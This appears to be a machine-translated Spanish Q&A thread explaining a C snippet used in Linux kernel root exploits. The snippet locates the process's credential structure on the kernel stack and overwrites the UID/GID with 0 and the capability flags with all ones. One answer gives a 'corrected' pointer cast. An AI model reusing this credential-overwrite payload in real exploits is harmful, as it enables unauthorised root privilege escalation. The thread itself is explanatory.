que - punteros void lenguaje c
Explicación de un puntero en el código de explotación (2)
El código toma la dirección de la variable local i
para obtener un puntero en el marco de pila actual. Luego, alinea la dirección a la página de 8K (eso es lo que haces con x & ~8191
: 8191 es 2 ^ 13 - 1 lo que significa que ~8191
son todos menos los 13 bits bajos, entonces ANDing con un número borrará el 13 bits bajos, es decir, alinee el número al múltiplo inferior más cercano de 2 ^ 13, en otras palabras, alinee al límite de 8K).
A continuación, toma esta dirección y la interpreta como un puntero a un puntero y carga la dirección apuntada desde allí. Consulte Comprender cómo obtener el puntero task_struct de la pila de kernel de proceso para obtener más información.
Después de eso, intenta localizar una estructura específica almacenada en algún lugar después de esa dirección: Mira a través de los siguientes 1024-13
unsigned
s, tratando de encontrar un lugar en la memoria donde se almacena la información del proceso actual (probablemente): Cuando encuentra una pieza de memoria que contiene varias copias del UID y el GID actuales, supone que lo ha encontrado. En ese caso, lo modifica para que el proceso actual obtenga UID y GID 0, haciendo que el proceso se ejecute en la raíz (además, almacena todos los elementos en los siguientes indicadores de capacidad).
Cf. struct cred
.
En algunos exploits para obtener el shell raíz, a menudo veo un puntero:
int i;
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);
¿Alguien puede explicar este puntero un poco? Creo que 8191 es el tamaño de la pila de kernel. p
apunta a la parte inferior de la pila del kernel ? Aquí es cómo se usa el puntero p
:
int i;
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
Voy a publicar otra respuesta porque realmente hay algo que agregar aquí.
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);
resulta en que p es el puntero al inicio del bloque de memoria de 8192 bytes de tamaño. Sin embargo, el código es incorrecto. Si p está por encima de INT_MAX (que puede ser o se convertiría en unsigned, no unsigned long), los bits altos se cortan con la máscara. El código correcto es el siguiente:
unsigned *p = *(unsigned**)(((ptrdiff_t)&i) & ~(ptrdiff_t)8191);
o usando uintptr_t:
unsigned *p = *(unsigned**)(((uintptr_t)&i) & ~(uintptr_t)8191U);
Es necesario convertir a entero y volver al puntero para que el código funcione; sin embargo, para garantizar un puntero de tamaño int, se requiere el uso de ptrdiff_t (recordamos que el comportamiento firmado y el no firmado se comportan exactamente igual para las operaciones bit a bit). En cuanto a por qué no los escriben con constantes hexadecimales, a quién le importa. Los chicos que hacen este tipo de cosas conocen sus poderes de 2 de memoria. Puede ser más rápido leer 8191 que 0x1FFF.